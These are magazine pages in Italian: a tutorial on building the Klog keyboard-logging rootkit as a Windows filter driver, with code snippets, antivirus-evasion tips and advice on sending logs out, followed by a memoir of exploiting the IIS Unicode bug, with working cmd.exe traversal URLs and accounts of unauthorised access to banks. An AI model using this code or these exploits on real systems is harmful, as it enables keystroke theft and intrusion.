Device Object Catena dei driver 8042 Keyboard controller LIVELLO FISICO Figura 1: Relazione che intercore tra ogni Driver e Device Object. Questa immagine non rappresenta fedelmente la catena di driver e device object di una tastiera ma è da intendersi unicamente come esempio fruibile a maggiore comprensione dell'articolo. 48 look at FILTER DRIVER: Costruire rootkit a basso sforzo sfruttando il modello driver stratificato di Windows WINDOWS Il passo successivo consiste nel creare un Device Object da agganciare alla componente interessata. All'interno della funzione HookKeyboard presente in KbdHook.c, questo task viene svolto invocando IoCreateDevice: PDEVICE_OBJECT pKeyboardDeviceObject; menzionato in precedenza: RtlZeroMemory( pKeyboardDeviceObject->DeviceExtension, sizeof(DEVICE_EXTENSION) ); PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pKeyboardDeviceObject-> DeviceExtension; NTSTATUS status = IoCreateDevice( pDriverObject, sizeof(DEVICE_EXTENSION), NULL, //no name FILE_DEVICE_KEYBOARD, 0, true, &pKeyboardDeviceObject ); Si tratta di un struttura custom che i kernel developer utilizzano per memorizzare informazioni di vario genere utili al corretto espletamento delle attività del driver. Nel caso di Klog questa struttura è definita nel file header “Klog.h” ed il suo contenuto sarà più evidente in Gli argomenti degni di nota della funzione IoCreateDevice sono il secondo che rappresenta la dimensione di DEVICE_EXTENSION (una struttura che verrà inizializzata successivamente e che conterrà dei campi driver-specific) ed il terzo che rappresenta invece il nome assegnato al Device Object. In questo caso l'oggetto sarà senza nome in quanto le applicazioni User Land non avranno necessità di interagire direttamente con esso[10]. Il quarto ed il settimo argomento indicano rispettivamente il tipo di Device Object (FILE_DEVICE_KEYBOARD) e l'indirizzo che punta alla variabile pKeyboardDeviceObject che riceverà il puntatore all'oggetto creato. Il primo argomento è invece il puntatore al DriverObject ottenuto come primo parametro della funzione DriverEntry. Per effettuare l'hooking vero e proprio sono necessari altri due step. Anzitutto il Device Object appena creato deve emulare gli stessi flag del driver sottostante. Uno strumento come Device Tree[11] può essere utilizzato per determinare tali flag: pKeyboardDeviceObject->Flags = pKeyboardDeviceObject->Flags | (DO_BUFFERED_IO | DO_POWER_PAGABLE ); Dopo si deve inizializzare il Device Extension 49 seguito. A questo punto si può finalmente precedere all'hooking del Driver Device Object interessato. L'aggancio viene eseguito, a partire dal nome identificativo dell'oggetto in questione, con la funzione IoAttachDevice. Ma a cosa agganciarci esattamente? Esistono diversi punti di inserzione candidati per questo scopo. Klog si aggancia tuttavia al Device Object “\\Device\\KeyboardClass0“ gestito dal driver kbdclass.sys. Si tratta di un Class Driver, ovvero un tipo di device driver che gestisce degli hardware che possono essere genericamente correlati ad una classe ben definita di dispositivi o che hanno delle “funzioni” in comune: IoAttachDevice( pKeyboardDeviceObject, &uKeyboardDeviceName, &pKeyboardDeviceExtension->pKeyboardDevice ); [10] Un nome ad un Device Object viene solitamente assegnato quando l'oggetto in questione deve comunicare con una o più applicazioni lato utente, ricevendo da esse delle direttive ben precise (le cosiddette IOCTL). Ad esempio nel caso di un driver che implementa delle funzionalità di firewalling, l'applicazione user land che consente all'utente di configurare le regole deve poter comunicare in qualche modo con il relativo Device Object per aggiungerle o rimuoverle dinamicamente. [11] Le dipendenze e l'organizzazione stratificata dei device driver nel proprio sistema possono essere osservate con uno strumento come DeviceTree disponibile previa registrazione dal sito http://www.osronline.com look at FILTER DRIVER: Costruire rootkit a basso sforzo sfruttando il modello driver stratificato di Windows WINDOWS Il primo parametro alla funziona indica il Device Object creato in precedenza con IoCreateDevice. Il secondo è invece l'indirizzo alla stringa che contiene il nome dell'oggetto che si sta hookando (\\Device\\KeyboardClass0) debitamente convertita in Unicode (tale conversione avviene un attimo prima nel codice). IoAttachDevice ritorna anche un puntatore al Device Object appena agganciato. Questo viene memorizzato nel campo pKeyboardDevice della struttura Device Extension per permettere al filtro di passare correttamente gli IRP che riceverà al driver sottostante. Il primo parametro passato a PsCreateSystemThread è un handle dichiarato poco prima nel codice (HANDLE hThread;) mentre il sesto corrisponde all'entry point del thread che nel nostro caso verrà creato a partire dal codice presente nella funzione (ThreadKeyLogger). L'ultimo argomento è il puntatore al Device Extention. Come vedremo in seguito il thread utilizzerà alcuni dei campi contenuti in questa struttura per sincronizzarsi con la Completation Routine man mano che questa intercetterà gli scancode presenti negli IRP e per loggare su file i tasti convertiti. All'interno di ThreadKeyLogger, il flusso di esecuzione del thread si blocca alla chiamata KeWaitForSingleObject in Il Worker Thread Adesso che l'hooking è completato in teoria siamo pronti ad intercettare e loggare i dati in arrivo. La parola “teoria” non assume qui un significato casuale. Infatti mentre per espletare il primo task non sono richieste particolari accortezze, il logging è un'operazione più difficile da espletare in un driver poiché le operazioni di input/output sui file possono avvenire solamente ad un livello denominato IRQL_PASSIVE_LEVEL, mentre la Completation Routine (si veda il box a pagina 48) può essere richiamata solamente al livello DISPATCH_LEVEL, che è caratterizzato dalla presenza di alcune limitazioni tra le quali appunto le operazioni di I/O sui file. Per bypassare questo problema, Klog subito dopo l'hooking, crea un thread che sarà responsabile di loggare i tasti premuti. La sua inizializzazione avviene nella funzione “InitThreadKeyLogger” dichiarata in “kbdlog.c”. Il punto più importante qui è proprio relativo alla creazione del thread con PsCreateSystemThread: PsCreateSystemThread( &hThread, (ACCESS_MASK)0, NULL, (HANDLE)0, NULL, ThreadKeyLogger, pKeyboardDeviceExtension ); attesa che gli scancode contenuti negli IRP che “risalgono” dalla catena siano disponibili nella coda. Questa coda viene creata in DriverEntry subito dopo il ritorno della funzione InitThreadKeyLogger con le chiamate a InitializeListHead, KeInitializeSpinLock e KeInitializeSemaphore: Il file di log All'interno del blocco principale DriverEntry viene quindi creato con la funzione ZwCreateFile il file in cui verranno loggati i tasti premuti: ZwCreateFile( &pKeyboardDeviceExtension->hLogFile, GENERIC_WRITE, &obj_attrib, &file_status, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0 ); La funzione ZwCreateFile prende una serie di argomenti tra i quali i permessi di accesso al file, l'indirizzo della variabile in cui verrà memorizzato il suo descrittore (il campo hLogFile nella struttura Device Extension) e gli attributi che descrivono l'oggetto 50 look at FILTER DRIVER: Costruire rootkit a basso sforzo sfruttando il modello driver stratificato di Windows WINDOWS (obj_attrib). Tra questi attribuiti vi è anche la stringa che specifica il nome del file, convertita in formato Unicode e dichiarata poco prima nel codice come: CCHAR ntNameFile[64] = "\\DosDevices\\c:\\klog.txt"; Come già detto in precedenza il file di log una volta creato potrà essere scritto solamente da un thread caricante a livello IRQL_PASSIVE_LEVEL (il worker thread creato nel paragrafo prima). A questo punto il blocco DriverEntry termina dopo aver popolato il campo DriverUnload del puntatore al driver object: pDriverObject->DriverUnload = Unload; La funzione Unload viene invocata quando il driver viene rimosso dalla memoria. Il suo scopo è quello di liberare tutte le risorse allocate durante la sua esecuzione. Klog è solo un Proof Of Concept (un codice dimostrativo) ed in quanto tale cerca di “uscire” dalla memoria in modo pulito senza generare alcun crash del sistema. Un rootkit nel mondo reale mira invece a rimanere in memoria per il più lungo arco temporale possibile senza essere rimosso, pertanto la funzione di scaricamento viene usualmente e di proposito lasciata vuota. Nella maggior parte dei casi ciò causerà un Blue Screen Of Death dopo ogni tentativo di rilascio del driver da user space. Cominciano ad arrivare gli IRP… pervenuta. Ma cosa è esattamente uno Stack Location? Seppure ciascun IRP sia un'unica grande struttura allocata in memoria, la sua dimensione varia in base al numero di driver presenti nella catena. In parole povere per ogni driver presente nella catena, l'I/O Manager aggiunge uno spazio extra nell'IRP denominato appunto IO_STACK_LOCATION in cui vengono collocati i parametri specifici della richiesta ricevuta. A questo punto l'IRP viene instradato verso il driver di livello inferiore con la funzione IoCallDriver. Il primo parametro di questa funzione è proprio l'indirizzo in cui si trova il device object del driver più in basso (memorizzato nella variabile puntatore pKeyboardDevice del Device Extension al momento dell'hook) mentre il secondo è il puntatore all'intera struttura IRP(pIrp): IoCallDriver( ((PDEVICE_EXTENSION) pDeviceObject->DeviceExtension)-> pKeyboardDevice, pIrp ); Un pò più complessa è la funzione DispatchRead dichiarata in kbdhook.c che invece gestisce la ricezione delle richieste IRP_MJ_READ. Per ogni IRP di questo tipo la funzione deve infatti impostare la C o m p l e t a t i o n R o u t i n e c o n IoSetCompleationRoutine, questo però dopo aver predisposto correttamente lo Stack Location: Gli IRP che il filter driver riceve da questo momento in poi possono essere collocati in due categorie: richieste di lettura (IRP_MJ_READ) equivalenti alla pressione di un tasto o tutte le altre richieste. Quelle appartenenti alla seconda categoria vengono gestite dalla funzione di pass-thru DispatchPassDown dichiarata in klog.c. Sono un paio le operazioni base svolte al suo interno. D a p p r i m a c o n l a m a c r o IoSkipCurrentIrpStackLocation viene modificato il puntatore all'array di strutture IO_STACK_LOCATION in modo che il driver di livello inferiore possa accedere alla stessa struttura[12] ricevuta dal filter. Ciò consente di lasciare assolutamente inalterata la richiesta 51 [12] Come vedremo più avanti questo task può essere eseguito in diversi modi, ad esempio manipolando direttamente i puntatori ritornati da IoGetCurrentIrpStackLocation e IoGetNextIrpStackLocation oppure utilizzando la funzione IoCopyCurrentIrpStackLocationToNext look at FILTER DRIVER: Costruire rootkit a basso sforzo sfruttando il modello driver stratificato di Windows WINDOWS PIO_STACK_LOCATION currentIrpStack = IoGetCurrentIrpStackLocation(pIrp); PKEYBOARD_INPUT_DATA keys = (PKEYBOARD_INPUT_DATA)pIrp-> AssociatedIrp.SystemBuffer; PIO_STACK_LOCATION nextIrpStack = IoGetNextIrpStackLocation(pIrp); int numKeys = pIrp-> IoStatus.Information / sizeof(KEYBOARD_INPUT_DATA); *nextIrpStack = *currentIrpStack; IoSetCompletionRoutine( pIrp, OnReadCompletion, pDeviceObject, TRUE, TRUE, TRUE ); Quindi per ciascun elemento prelevato dall'array aggiunge nella coda le informazioni di interesse (lo scancode ed i flags che indicano se il tasto è stato p r e m u t o o r i l a s c i a t o ) c o n ExInterlockedInsertTailList . Gli elementi vengono inseriti uno alla volta. L'argomento più importante passato a IoSetCompletionRoutine è il secondo. Questo specifica la funzione di callback che verrà invocata quando l'IRP sarà completato (ovvero quando da richiesta “vuota” attraverserà la catena con lo scancode corrispondente al tasto premuto dall'utente). Anche in questo caso l'IRP viene passato al driver di livello inferiore con IoCallDriver. Il Worker Thread a questo punto viene allertato della presenza di dati nella coda, li estrapola con la macro CONTAINING_RECORD e converte ciascuno scancode nell'effettivo tasto premuto passando questi dati alla funzione ConvertScanCodeToKeyCode (dichiarata all'interno di scancode.c). Al ritorno da questa funzione il Worker Thread registra su file il tasto effettivamente premuto con ZwWriteFile: quello di estrapolare gli scancode e posizionarli nella coda tenuta sotto controllo dal Worker Thread in modo che questo possa convertirli in appositi tasti da loggare su file. Dapprima Klog si assicura che l'IRP ritornato sia stato “completato” con successo, ovvero abbia “a bordo” uno o più scancode: ZwWriteFile( pKeyboardDeviceExtension->hLogFile, NULL, NULL, NULL, &io_status, &keys, strlen(keys), NULL, NULL ); if(pIrp->IoStatus.Status == STATUS_SUCCESS) Gli argomenti più importanti a ZwWriteFile sono tre. Il In seguito preleva da SystemBuffer un array di primo indica il descrittore al file memorizzato nella Device Extension Area. Il sesto è il buffer che si deve scrivere ed il settimo la sua dimensione in byte[13]. Fase finale: Intercettazione e logging Lo scopo della funzione OnReadCompletation è quindi strutture KEYBOARD_INPUT_DATA (in cui è presente il membro MakeCode che è proprio preposto al contenimento dello scancode) e da IoStatus.Information la dimensione di questo [13] Non tutti i tasti premuti equivalgono in dimensione ad un byte. Alcuni tasti definiti estesi possono dare vita a più byte. Ad esempio il tasto Invio genera contemporaneamente i byte “ritorno a carrello” (0x0a) e “nuova linea” (0x0d). array: 52 look at FILTER DRIVER: Costruire rootkit a basso sforzo sfruttando il modello driver stratificato di Windows WINDOWS file C:\Klog.txt. Questo non potrà essere aperto Testare il funzionamento di Klog A questo punto del codice possiamo dire che tutti i principali aspetti di un keyboard filter driver sono stati coperti (si rimanda per maggiore completezza, se non lo si è fatto fino ad ora, ai sorgenti commentati). Adesso però è il momento di un po' di pratica! Per testare il funzionamento di Klog nel vostro sistema (quelli da noi testati sono stati Windows 2000 Sp4 e Windows XP SP2) potete procedere in due modi. Il primo è quello più semplice. Prelevate dal riferimento [7] il driver rootkit già compilato (Klog.sys[14]) ed il tool InstDrv.exe. Lanciate quest'ultimo. Nel text box inserite il percorso completo in cui avete copiato il .sys, quindi cliccate dapprima sul pulsante “Install” e dopo su “Start”. Un messaggio di avviso vi dovrebbe avvertire della corretta riuscita dell'operazione. A questo punto il rootkit è in esecuzione in memoria e dovreste accorgervene anche dalla presenza nel vostro hard disk del file C:\Klog.txt. Digitate un po' di tasti (ad esempio provate ad inviare una email o loggarvi alla vostra webmail protetta con SSL). Al termine cliccate sul pulsante “Stop” di InstDrv ed osservate il contenuto del mentre il driver è in esecuzione. Per tale motivo è necessario scaricare il rootkit dalla memoria per potervi accedere o eventualmente trovare un metodo alternativo (ad esempio modificare il sorgente in modo che i tasti loggati vengano inviati per email o “sparati” fuori attraverso altri meccanismi). Il secondo metodo richiede invece uno step preventivo in più: la compilazione dei sorgenti. Installato il WDK (reperibile dove indicato nel Box a pagina 47) cliccate su Start, Programmi, Windows Driver Kit, WDK6000, Build Environments e selezionate il tipo di sistema operativo in cui il rootkit dovrà essere caricato. Scegliete l'icona del prompt dei comandi marcata come “Checked”, quindi all'apertura dell'interprete spostatevi con il comando DOS “cd” nella cartella in cui sono contenuti i sorgenti di Klog e lanciate il comando “build”. Al termine della compilazione l'oggetto binario verrà collocato all'interno della sottodirectory “bin”. Svolgete le operazioni descritte in precedenza per caricarlo e testarlo. Scopri qui http://www.seg-fault.net /SS/001/rootkits/krootkit_pack.gz i contenuti extra messi a disposizione della redazione per questo articolo. [14] Probabilmente klog.sys verrà identificata come una componente infetta dal vostro antivirus, quindi per continuare a svolgere il test dovrete momentaneamente disattivarlo. In alternativa si può modificare il sorgente di klog quel minimo da far apparire diverso l'hash del binario ricompilato così da azzittire le misure di protezione installate nel sistema. 53 Racconti dall’ underground LA VERA STORIA DELL’ UNICODE BUG che ti sistema a vita con uno stipendio modesto come certe leggende metropolitane vorrebbero far credere. Forse una volta….But no more! I l tema dell'etica hacking è uno dei più dibattuti da oltre vent'anni e questo a dispetto della lunga datazione di uno dei primi documenti, possiamo definire cardine della cultura hacker primordiale, The Conscience of a Hacker[1] (anche noto come The Hacker Manifesto), apparso per la prima volta l'8 gennaio del 1986 nel numero 7 di Phrack. Scritto da The Mentor dopo il suo arresto, oggi diffuso in svariati siti web, rappresenta ancora la principale fonte di ispirazione per molti hacker o sedicenti tali, persone “ispirate” in gran parte della casistica a commettere deface: “Ma The Hacker Manifesto non dice esplicitamente che non si può defacciare un sito Web!” E come potrebbe?? D'altronde è stato scritto prima ancora che Tim Berners-Lee assieme a Robert Cailliau progettassero le specifiche preliminari di HTTP ed HTML ed il concetto di World Wide Web a cavallo tra il 1989 ed il 1990! La sensazione al momento, parlando appunto di “etica hacking”, pare essere che ci si stia allontanando sempre più dalla meta, utilizzando pretesti farlocchi per giustificare azioni oggettivamente senza senso, utili forse ad esaltare unicamente un ego alterato e represso. Ad esempio, dove sta la ricerca della conoscenza e dell'informazione nel defacciare il sito del comune di Sant'Ilario dello Ionio o di Monastir in quel di Cagliari come realmente accaduto negli ultimi mesi? I fatti Tutto ebbe inizio con un post anonimo nel forum di Packetstorm il 10 ottobre del 2000: Title: IIS5 has a very big bug that let you execute arbitrary command On my win2000+IIS5 ,I can use this URL to execute dir command: http://127.0.0.1/scripts/..%c1%1c../wi nnt/system32/cmd.exe?/c+dir+c:\ and this is a example: http://www.linux.org.cn/scripts/..%c1% 1c../winnt/system32/cmd.exe?/c+dir+c:\ Il contenuto del messaggio era auto-esplicativo e descriveva quello che sarebbe passato alla storia come l'IIS Unicode Bug. La vulnerabilità permetteva di eseguire remotamente qualsiasi comando su un sistema in cui era installato Internet Information Services 5.0, il web server Microsoft in dotazione di default con Windows 2000, semplicemente digitando la stringa descritta nel post all'interno di un qualsiasi browser web. Il problema risiedeva apparentemente nel modo in cui il servizio gestiva i caratteri Unicode, decodificandoli solo successivamente anziché prima della validazione del percorso e della risorsa richiesta dall'utente. Inutile dire che www.linux.org.cn fu bucato in quelle ore da migliaia di provetti hacker ed infestato dalle peggiori backdoor che potessero esistere nella rete. Davvero strano il destino di questo sito i cui contenuti, residenti su piattaforma proprietaria Microsoft, miravano invece ad informare gli utenti dell'esistenza del movimento open source e del sistema operativo Linux. Oggi in quel server ci gira una Debian con Apache. Come hanno dichiarato alcuni miei amici profondi sostenitori delle tecnologie aperte, probabilmente chi gestiva quel sistema ha imparato la lezione. Quella che vi proponiamo oggi è una storia come tante altre, una storia dalla quale presumiamo, anzi siamo convinti, si possa trarre una morale (in fondo le storie dovrebbero servire proprio ad imparare non solo dagli errori personali ma anche e soprattutto da quelli commessi dagli altri). Si parla di un ragazzo stupido e fortunato allo stesso tempo. Forse non un hacker. Una persona che ammette di aver compiuto delle azioni “incaute” per uno scopo ben preciso (sicuramente opinabili) ma che aldilà della rabbia che aveva dentro non è stato così codardo da prendersela con il primo di turno, che ha deciso piuttosto di “piegare il sistema” per raggiungere il suo obiettivo, non prenderlo a martellate! Perché non sono tutte rose e fiori. Se ti beccano oggi non vai a lavorare per la NASA o per una grossa multinazionale [1] http://www.phrack.org/archives/7/P07-03 54 Racconti dall’ underground Tornando alla storia dei fatti, in realtà esisteva un grosso impedimento. Il trucco descritto nel post di Packetstorm funzionava solamente sui server cinesi. Quelli europei ed americani sembravano non essere minimamente intaccati dal problema. Iniziai quindi a cercare di capire il perché. A quel tempo non avevo la minima conoscenza del set di caratteri Unicode. Installai Windows 2000 Server sulla mia LAN di casa e cominciai velocemente a documentarmi su di esso. Appresi i concetti base e cominciai a pensare tra me e me che i cinesi utilizzavano sicuramente un set di caratteri diverso rispetto a quello adottato in Italia. La chiave di volta risiedeva quindi probabilmente nel trovare la giusta sequenza di caratteri Unicode funzionante sui server Windows che supportavano la lingua inglese ed italiana. Scrissi allora un piccolo programma in C che testava ciclicamente delle occorrenze differenti di “%c1%1c” (quella a sua LA VERA STORIA DELL’ UNICODE BUG problema. Prima che la vulnerabilità divenisse celebre io ero comunque già al corrente di questo fatto.In realtà ci avevo sbattuto il grugno per diverse ore perché dopo aver installato Windows 2000 nella mia LAN di casa e trovato la corretta sequenza di caratteri Unicode, avevo aggiornato il server con tutte le patch disponibili del momento e dopo il reboot non ero più riuscito a replicare il problema durante i test successivi. Ci volle un bel po' prima che riuscissi ad individuare la patch che rendeva nulla la falla. Allora più di oggi installare gli aggiornamenti del sistema operativo era comunque un optional quasi per chiunque (sia che fosse un'azienda, sia che fosse un semplice utente desktop) ed è per questo motivo che i worm ed i virus che sfruttarono in seguito l'Unicode Bug per diffondersi in rete, hanno potuto scorrazzare liberamente per anni prima di essere quasi del tutto debellati (ma questa è una questione che affronteremo in seguito). La patch MS00-57[2] menzionata nel bollettino MS00-78[3] non l'aveva insomma installata, fino a quel momento, quasi nessuno. Oggi proprio per questa sorta di negligenza, insita possiamo definire “built-in” nella maggior parte degli utenti, sono molti i vendor che hanno cominciato ad includere nei loro software delle procedure automatiche di aggiornamento. Avast ad esempio non mi avverte nemmeno più di stare lanciando un update delle definizioni antivirus e me ne accorgo solo quando la spia rossa del mio hard disk comincia a lampeggiare come un'autoambulanza ed il PC si blocca per qualche secondo! Alla fine, dopo svariati tentativi con IP pubblici, mi accorsi che ad essere vulnerabili all'Unicode Bug erano tutte le versioni di IIS (a partire dalla 5.0 montata su Windows 2000 fino al primordiale release 2.0 delle versioni precedenti del sistema operativo Microsoft). Il calendario del mio PC segnava a quel tempo il 12 Ottobre dell'anno 2000. Fino a quel momento nessuno aveva replicato al post originario sul forum di Packetstorm, né comunicato su qualunque altro una scoperta simile alla mia. volta menzionata nel post di Packetstorm). Ciascuna occorrenza veniva poi automaticamente inviata al web server, nel tentativo di eseguire il comando “dir c:\”. Poi osservavo le risposte ritornate alla ricerca di un output favorevole. Alla fine trovai un'occorrenza funzionante in “%c0%af”. Questa fu la prima ed ultima che scoprì. Più avanti altri ricercatori molto più curiosi di me avrebbero testato tutte le combinazioni Unicode possibili trovandone altre utilizzabili. A questo punto aprì il mio browser, presi dalla lista di una scansione fatta in precedenza il primo indirizzo IP pubblico a cui sembrava rispondere un web server IIS ed incollai lì la stringa: “http://Indirizzo_IP/scripts/..%c0%af. ./winnt/system32/cmd.exe?/c+dir+c:\” Ricontrollai un'ultima volta l'URL, quindi pigiai il tasto Invio. Tutto andò come previsto. Il server in questione mi ritornò in output le directory del suo volume C. Ero riuscito a riprodurre la vulnerabilità non solo in locale ma anche su Internet. Testai altri indirizzi IP ottenendo gli stessi risultati positivi. Tutti i server, nessuno escluso, risultavano essere vulnerabili. Più avanti quando Microsoft cominciò a prestare attenzione all'Unicode Bug si apprese che una patch rilasciata dalla compagnia nell'agosto del 2000, per uno scopo completamente differente, risolveva già il [2] http://www.microsoft.com/technet/security/bulletin/ms00057.mspx [3] http://www.microsoft.com/technet/security/bulletin/ms00078.mspx 55 Racconti dall’ underground Avevo in pratica sotto controllo un paio di milioni di web server in tutto il mondo! Uno 0day di questo tipo oggi farebbe la fortuna di molti criminali online. In realtà la pacchia durò meno di una settimana. Il 17 ottobre dello stesso anno, il ricercatore di sicurezza noto con il nickname RFP (Rain Forest Puppy) svelò quello che io avevo già scoperto da cinque giorni. Nel frattempo non ero rimasto con le mani in mano. Cinque giorni nel conoscere una vulnerabilità così importante sono un notevole vantaggio se sfruttati adeguatamente. Impiegai questo vantaggio barattando la mia scoperta in cerca di un lavoro, ovvero cercando di impressionare favorevolmente qualche azienda. Oggi, con il senno del poi, tiro un sospiro di sollievo e comprendo che mi è andata davvero bene. Avrei potuto rischiare grosso ma il gioco all'epoca mi sembrava che valesse la candela. Avevo 19 anni ed ero disoccupato. Nessuna compagnia era disposta ad assumermi o darmi un lavoro perché non avevo ancora adempiuto agli obblighi militari…e ripensandoci, allora avevo una rabbia da anarchico insoddisfatto che riuscivo a placare a malapena, soprattutto quando mi trovavo di fronte all'evidenza di tante prospettive di lavoro rovinate o mancate a causa di quello stupido adempimento obbligatorio che era la leva. LA VERA STORIA DELL’ UNICODE BUG La telefonata alla Banca di Roma “Banca di Roma buongiorno, sono XXXX come posso aiutarla?” – rispose una voce femminile dall'altra parte del telefono. “Si salve” – dissi io con la voce spezzata ed impaurita di un ragazzo che aveva appena realizzato di stare commettendo una grossa stupidaggine – “sto chiamando per segnalare una pericolosa falla nel vostro sito web”. Passarono alcuni secondi di ghiaccio, poi la voce femminile, presa di sorpresa, si fece risentire cercando di non nascondere affatto il suo classico accento romanesco: “Credo de non avè capito bbene. Po' spiegamme mejo?” Ed io risposi senza mezzi termini: “Il vostro sito www.bancadiroma.it risiede su un'istanza del web server IIS che permette a chiunque di eseguire comandi dall'esterno della vostra LAN o visualizzare i file del sistema… E' una cosa grave!” Dubitai che la ragazza avesse capito qualcosa. Poi con mia profonda sorpresa mi disse in dialetto meno accentuato: “Uhhh ma allora sei un hacker? Puoi aspettare un momento?” – quindi fece partire una di quelle orrende musichette, classiche di quando si mette in attesa una persona. “Adesso” - pensai tra me e me – “mi tracciano e mi arrestano!”. Decisi, come si vede ogni tanto nei film alla TV, che se la ragazza non fosse ritornata al telefono entro quindici secondi, avrei abbassato la cornetta. In quel momento presi coscienza che non era tanto folle il fatto che stessi cercando di avvertire una banca del grave rischio che correva, quanto quello che li stavo proprio chiamando dall'utenza telefonica di casa intestata ai miei genitori! Dopo qualche secondo la musichetta si interruppe e la ragazza mi disse: “Ti passo il servizio tecnico e racconti a loro di questa cosa. Ok?”. Annuì ringraziando e mi passarono il CED. Qui parlai con un tecnico che senza nemmeno interessarsi del problemi mi chiese come si poteva risolvere. Gli dettai per telefono il link web in cui risiedeva la patch MS00-57 e ci salutammo dopo aver ricevuto da lui un freddo ringraziamento e la promessa che avrebbe provveduto a rimuovere “la minaccia”. Riagganciai amaramente la cornetta con Partono le telefonate Quella che segue è la cronaca approssimativa ricostruita a memoria di ciò che accadde tra il 12 ottobre del 2000 ed i giorni delle settimane successive. Fino a quel momento non vi era server IIS che testassi che non fosse vulnerabile all'Unicode Bug ed i siti delle banche italiane non facevano certo eccezione. Ne presi di mira una ventina, approfittando degli URL segnalati in un numero di Jack uscito proprio in quel periodo. Più della metà erano vulnerabili all'Unicode Bug. Fra questi ne scelsi tre: Banca di Roma, Webank (ovvero la Banca Popolare di Milano) e Banca 121, esattamente localizzate al centro, al nord ed al sud Italia. Interrogai il database whois del NIC (www.nic.it) per risalire ai numeri telefonici delle rispettive sedi e cominciai a chiamare. 56 Racconti dall’ underground la certezza che dopo qualche giorno la polizia postale avrebbe bussato alla porta di casa. LA VERA STORIA DELL’ UNICODE BUG fax: Ho riscontrato una vulnerabilità nel vostro server www.banca121.it che mi permette di avere accesso a tutto l'hard disk della macchina (come sotto potete ben vedere). Ho cercato di contattarvi telefonicamente ma non ha mai risposto nessuno al num [omissis], per questo vi invio un fax. Vogliate cortesemente scaricare ed installare la patch dal seguente URL: La telefonata alla Banca Popolare di Milano Abbastanza spaventato da quello che avevo fatto, ebbi la grande idea di non chiamare il successivo contatto da casa mia…ma dall'ufficio di mio papà! Questa volta mi rispose un uomo che a suo dire era il diretto responsabile del server www.webank.it e non credeva ad una sola parola di quello che gli stavo dicendo. A questo punto cominciai a fargli i nomi delle directory presenti nel volume C e dei file contenuti – “Io da qui vedo che avete installato Oracle. Ma che ve ne fate di WebSphere se avete già IIS? Nella directory certificati avete poi in bella vista le chiavi pubbliche e private dei certificati X509 che utilizzate per cifrare le connessioni SSL”. E poi ancora - “Senta ma che razza di cartella è WWW spero da cancellare!!! presente nella root del volume C?”. Mi accorsi che avevo assunto un tono forse troppo altezzoso. Ero stato infastidito dal fatto che quella persona non avesse creduto alle mie parole. Dopo svariati secondi di buio totale (il tizio al telefono era nel frattempo rimasto mestamente in silenzio) gli spiegai come risolvere il problema. Anche lui si segnò il link della patch e si congedò con un saluto ancora più freddo di quello che mi era stato rivolto dal tecnico della Banca di Roma. Abbassata la cornetta del telefono capì che probabilmente la polizia postale sarebbe presto andata a cercarmi anche nell'ufficio di mio padre. http://www.microsoft.com/technet/security/bullettin/ ms00-078.asp In caso di contatto il mio numero personale è [omissis] Spero che risolviate subito il problema. Distinti Saluti [omissis] Oltre a questa scritta rigorosamente a penna, nel fax riportavo l'output di un “dir c:\” e del contenuto d e l l a d i r e c t o r y “\Inetpub\banca121\password”. Passarono esattamente dieci minuti netti e fui subito contattato dal signor Arnesano che si presentò come il responsabile delle infrastrutture informatiche di Banca 121. Lui ringraziandomi cominciò a chiedermi se lavoravo con partita iva (io ancora non avevo nemmeno idea di che cosa fosse esattamente) ed eventualmente di fargli un'offerta per la fornitura di servizi di sicurezza che avrebbe rigirato e sottoposto per una valutazione ai suoi superiori. Si mostrò molto disponibile con me, ma io non seppi approfittare adeguatamente di questa sua disponibilità ed alla fine non riuscì a concludere alcun accordo. La telefonata a Banca121 Il terzo contatto non avvenne né dal telefono di casa, né da quello dell'ufficio di mio padre, bensì dal mio cellulare. In realtà fui io questa volta a ricevere la chiamata dal responsabile delle infrastrutture informatiche di Banca121. In quei giorni infatti al numero di telefono della sede bancaria registrato nel database del NIC non rispondeva nessuno. Dopo svariati tentativi decisi quindi di inviare il seguente Tirando le somme… Strano a dirsi, nessuno delle tre banche che contattai sporse mai denuncia. A volte mi piace credere che il buon senso da parte delle persone ascoltate al telefono abbia prevalso e che le loro colpe per non aver aggiornato i sistemi che gestivano fossero 57 Racconti dall’ underground probabilmente più grandi delle mie che avevo cercato di ottenere un lavoro in un modo così abietto. Ma alla fine questo benedetto lavoro arrivò comunque. Non era proprio quello che mi aspettavo ma fu quello che diede il “la” alla mia indipendenza economica definitiva. Era l'aprile del 2001. A gennaio avevo svolto la visita militare ed ero risultato idoneo. Attendevo quindi di essere chiamato per la leva nei mesi successivi. Il lavoro dicevo…lo ottenni ricalcando la metodologia già adottata sei mesi prima. Questa volta però invece di puntare alle banche, puntai agli Internet Service Provider della mia città. Da ottobre erano ancora in pochi quelli che avevano installato la patch contro l'IIS Unicode Bug ed i provider locali probabilmente erano gli ultimi della classifica. Presi contatti con alcuni di questi intenzionato ad illustrare il problema ma a non fornire alcun accenno sul come risolverlo se non fossi riuscito a concretizzare queste nuove occasioni. Al telefono mi risposero sempre le ragazze che svolgevano i servizi di segreteria. Spiegai loro alla bella e meglio la questione e dissi di farmi richiamare dai responsabili aziendali. Nessuno lo fece. Alla fine, qualche giorno dopo, mi decisi a prendere l'auto e recarmi di persona nel provider più vicino a casa mia. Quando mi presentai davanti alla loro porta e spiegai il problema mi fecero parlare con il responsabile tecnico, l'ingegner Blanco. Dopo una breve spiegazione mi sembrarono tutti quanti più titubanti di prima perciò chiesi loro di darmi un computer. Mi sedetti in una delle postazioni dell'ufficio e gli dimostrai quello che potevo fare, mostrandogli come potessi accedere in modo semplice ai loro server. Le persone che avevo di fronte erano giovani come me, al massimo di tre/otto anni più grandi e si mostrarono entusiasti delle capacità che avevo espresso. In realtà parlavo con gente che fino a quel momento correlava la parola sicurezza alla protezione civile, pertanto i loro complimenti erano un po' come quelli di un bambino che guarda per la prima volta un gioco di prestigio, ma ne rimasi ugualmente felice. L'unico un po' più perplesso e rimasto sulle difensive rispetto agli altri era proprio l'ingegner Blanco. Infondo era lui che avrebbe dovuto svolgere il ruolo di sistemista in azienda, ma mi confessarono che lo scarso giro LA VERA STORIA DELL’ UNICODE BUG d'affari come ISP li aveva visti costretti a cercare fortuna verso altri lidi e svolgere quindi consulenze extra presso i pochi clienti che avevano. Questo li portava a trascurare la sicurezza delle loro infrastrutture informatiche. Dopo tali dichiarazioni pensai tra me e me 